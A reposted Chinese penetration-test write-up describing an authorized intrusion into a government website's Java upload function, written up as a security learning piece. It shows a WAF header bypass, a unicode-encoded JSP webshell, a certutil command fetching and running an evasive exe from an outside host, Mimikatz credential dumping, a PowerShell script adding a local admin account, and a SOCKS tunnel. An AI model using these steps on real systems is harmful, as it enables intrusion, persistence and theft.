【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

admin 2022年4月23日02:47:50评论236 views字数 4544阅读15分8秒阅读模式

作者:Tide_诺言

原文地址:https://www.jianshu.com/u/58a5f9e596a7


前言

很久没有整理实战文章了,恰好这周项目上有一个目标折腾两天时间,记录分享下其中的心路历程。(本次渗透过程均在目标授权下进行,请勿进行非法渗透行为。)


目标基本信息


某政务网站
服务器--windows
数据库--未知
中间件--Tomcat
开发语言--java
未使用CDN
存在waf--种类未知


Getshell过程


目标存在一处上传功能。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

image.png


上传成功后返回取件码。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


使用取件码进行信件查询。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


点击附件为下载链接。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


image.png


对下载链接进行测试,发现报错时泄漏了绝对路径。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


进过几次尝试,成功访问到上传的图片。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


继续对上传功能进行测试,waf对上传后缀名进行了白名单限制,未发现可以利用的后缀名。


根据以往的bypass经验,开始手撕waf。


后缀名校验绕过


经过尝试,当Content-Disposition字段修改为Content+Disposition时可以绕过waf。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

内容校验绕过

直接上传免杀较强的冰蝎马。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


未上传成功,看来存在文件内容校验,拿出自己的免杀马进行测试。


经过尝试免杀马全部阵亡,无一例外。


敲个helloword看看吧。


然而。。。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


第一次碰到连helloword都拦的waf。


经过多次测试,waf对绝大部分的jsp函数都进行了拦截。


内容加密


首先想到的解决方案是对木马进行加密

在网上查找相关的资料,发现LandGrey大佬的一个unicode编码的木马。

https://links.jianshu.com/go?to=https%3A%2F%2Fgithub.com%2FLandGrey%2Fwebshell-detect-bypass%2Ftree%2Fmaster%2Fwebshell%2Fjsp

<%@page import="java.io.*,java.net.*,java.sql.*,java.text.*"%><%!u0053u0074u0072u0069u006eu0067u0020u0050u0077u0064u003d.........%>
可以上传成功。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


使用caidao-20160622的版本进行连接(默认分隔符: X@Y)。
然而。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


看来内容校验过了,但是菜刀流量被waf拦截了。


这时想到了2种方案。


1、找一个内容加密的大马,例如php的大马的加解密过程


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


2、菜刀马流量中转


上传中转菜刀马,配合本地加解密脚本文件,对数据进行中转加密传输。

奈何网上关于jsp加密以及中转木马研究的文章数量有限,再加上本人不懂java开发,内容加密这条路暂时走不通了。


倒是看到了不少大佬优秀的文章,学习到了很多相关知识。


如:菜刀HTTP流量中转代理过WAF(https://links.jianshu.com/go?

to=https%3A%2F%2Fxz.aliyun.com%2Ft%2F2739)


CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF(https://links.jianshu.com/go?to=https%3A%2F%2Fwww.uedbox.com%2Fpost%2F58916%2F)


内容混淆

加密既然暂时走不通,只能换一个思路,尝试对文件内容进行混淆,绕过waf。


首先想到的是图片马,尝试把木马隐藏到图片源码中,绕过waf。


在这个过程中也踩了一些坑,有些图片源码包含特殊字符会和木马的源代码发生冲突,因此需要特殊处理过的图片才能保证正常解析。


推荐使用如下图片【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


使用notepad++打开图片,把jsp马插入到图片源码中。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


更改为jsp后缀进行上传。

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


上传失败,猜测长度不够,未起到混淆的目的,复制图片的一段源码,反复的复制到木马文件的前后位置,经过若干次尝试,返回了上传成功。

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


访问webshell地址,解析成功,成功拿下了目标的webshell。

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


使用证书下载命令下载免杀exe到本地执行。

certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exeD:/1.exe

免杀处理使用https://www.jianshu.com/p/85b752731f4c中的AVIator


cs成功接收到会话。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


尝试激活guest用户,加入管理员组失败。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


存在服务器防护需要绕过。


服务器为server 2008,默认情况下,可以使用Procdump+Mimikatz来读取管理员的明文密码。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


具体实现可参考之前发布的文章。(https://www.jianshu.com/p/7f592854314f)


假设对方打了补丁,无法获取明文密码的情况下,可以选择powershell添加用户。
使用Get-ExecutionPolicy 查看当前执行策略为Restricted(默认策略,不允许任意脚本的执行)


使用Set-ExecutionPolicy 设置执行的策略为RemoteSigned (本地脚本无限制,但是对来自网络的脚本必须经过签名)


相关powershell命令可查看CSeroad大佬的文章。

https://www.jianshu.com/p/f728899ea71b


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


powershell的免杀性较强,大多数情况下都可以执行成功。


上传ps1文件到服务器中,调用powershell执行。


$computer=Get-WMIObject  Win32_ComputerSystem$computername = $computer.name$username = 'admin'$password = '1234qwer..' $desc = 'Local admin account'$computer = [ADSI]"WinNT://$computername,computer"$user = $computer.Create("user", $username)$user.SetPassword($password)$user.Setinfo()$user.description = $desc$user.setinfo()$user.UserFlags = 65536$user.SetInfo()$group = [ADSI]("WinNT://$computername/administrators,group")$group.add("WinNT://$username,user")

使用cs搭建socks4隧道。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


配置Proxifer。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


成功把本机主机带入目标内网,连接远程桌面。


到此渗透结束。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


总结


由于不懂java开发,导致前期的getshell耽误了过长时间。


渗透过程中走了很多弯路,但也学习到了很多新的知识。




【Hacking黑白红】,一线渗透攻防实战交流公众号

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

回复“电子书”获取web渗透、CTF电子书:

回复“视频教程”获取渗透测试视频教程;  

回复“内网书籍”获取内网学习书籍;        

回复“CTF工具”获取渗透、CTF全套工具;

回复“内网渗透;获取内网渗透资料;

回复护网;获取护网学习资料 ;

回复python,获取python视频教程;

回复java,获取Java视频教程;

回复go,获取go视频教程


知识星球


【Hacking藏经阁】知识星球致力于分享技术认知

1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;

400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)

2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。


如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。





【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)


欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。


【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)




渗透实战系列


【渗透实战系列】|43-某次通用型漏洞挖掘思路分享

【渗透实战系列】|42-防范诈骗,记一次帮助粉丝渗透黑入某盘诈骗的实战

【渗透实战系列】|41-记一次色*情app渗透测试

【渗透实战系列】|40-APP渗透测试步骤(环境、代理、抓包挖洞)

▶【渗透实战系列】|39-BC渗透的常见切入点(总结)

【渗透实战系列】|38-对某色情直播渗透

【渗透实战系列】|37-6年级小学生把学校的网站给搞了!

【渗透实战系列】|36-一次bc推广渗透实战

【渗透实战系列】|35-旁站信息泄露的dedecms站点渗透

【渗透实战系列】|34-如何用渗透思路分析网贷诈骗链

【渗透实战系列】|33-App渗透 ,由sql注入、绕过人脸识别、成功登录APP

【渗透实战系列】|32-FOFA寻找漏洞,绕过杀软拿下目标站

【渗透实战系列】|31-记一次对学校的渗透测试

【渗透实战系列】|30-从SQL注入渗透内网(渗透的本质就是信息搜集)

【渗透实战系列】|29-实战|对某勒索APP的Getshell

【渗透实战系列】|28-我是如何拿下BC站的服务器

【渗透实战系列】|27-对钓鱼诈骗网站的渗透测试(成功获取管理员真实IP)

【渗透实战系列】|26一记某cms审计过程(步骤详细)

【渗透实战系列】|25一次从 APP 逆向到 Getshell 的过程

【渗透实战系列】|24-针对CMS的SQL注入漏洞的代码审计思路和方法

【渗透实战系列】|23-某菠菜网站渗透实战

【渗透实战系列】|22-渗透系列之打击彩票站

【渗透实战系列】|21一次理财杀猪盘渗透测试案例

【渗透实战系列】|20-渗透直播网站

【渗透实战系列】|19-杀猪盘渗透测试

【渗透实战系列】|18-手动拿学校站点 得到上万人的信息(漏洞已提交)

【渗透实战系列】|17-巧用fofa对目标网站进行getshell

【渗透实战系列】|16-裸聊APP渗透测试

【渗透实战系列】|15-博彩网站(APP)渗透的常见切入点

【渗透实战系列】|14-对诈骗(杀猪盘)网站的渗透测试

【渗透实战系列】|13-waf绕过拿下赌博网站

【渗透实战系列】|12 -渗透实战, 被骗4000花呗背后的骗局

【渗透实战系列】|11 - 赌博站人人得而诛之

【渗透实战系列】|10 - 记某色X商城支付逻辑漏洞的白嫖(修改价格提交订单)

【渗透实战系列】|9-对境外网站开展的一次web渗透测试(非常详细,适合打战练手)

【渗透实战系列】|8-记一次渗透测试从XSS到Getshell过程(详细到无语)

【渗透实战系列】|7-记一次理财杀猪盘渗透测试案例

【渗透实战系列】|6- BC杀猪盘渗透一条龙

【渗透实战系列】|5-记一次内衣网站渗透测试

【渗透实战系列】|4-看我如何拿下BC站的服务器

【渗透实战系列】|3-一次简单的渗透

【渗透实战系列】|2-记一次后门爆破到提权实战案例

【渗透实战系列】|1一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

    

长按-识别-关注

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

Hacking黑白红

一个专注信息安全技术的学习平台

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

点分享

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

点收藏

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

点点赞

【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

点在看

原文始发于微信公众号(Hacking黑白红):【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日02:47:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【渗透实战系列】|44-记一次授权渗透实战(过程曲折,Java getshell)http://cn-sec.com/archives/916778.html

发表评论

匿名网友 填写信息